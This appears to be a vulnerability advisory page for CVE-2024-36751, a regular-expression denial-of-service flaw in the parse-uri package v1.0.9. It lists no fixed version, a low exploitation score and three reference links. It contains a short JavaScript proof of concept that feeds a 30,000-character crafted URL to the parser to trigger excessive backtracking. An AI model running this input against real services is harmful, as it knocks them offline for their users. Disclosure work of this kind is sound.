CVE-2024-36751

Description

An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL. ## PoC ```js async function exploit() { const parseuri = require("parse-uri"); // This input is designed to cause excessive backtracking in the regex const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value'; const result = await parseuri(craftedInput); } await exploit(); ```

How to fix CVE-2024-36751

No fixed version has been published yet. Mitigate by removing the affected package or applying upstream guidance from the references below.

• —no fix listed
• —no fix listed

Is CVE-2024-36751 being exploited?

Low — EPSS is 0.1%, meaning exploitation activity has not been observed at scale.

Affected packages (2)

• from 0, <= 1.0.9
• from 0

CVSS scores

References (3)

• ADVISORYnvd.nist.gov/vuln/detail/CVE-2024-36751
• WEBgist.github.com/6en6ar/78168687da94e8aa2e0357f2456b0233
• WEBgithub.com/Kikobeats/parse-uri/issues/14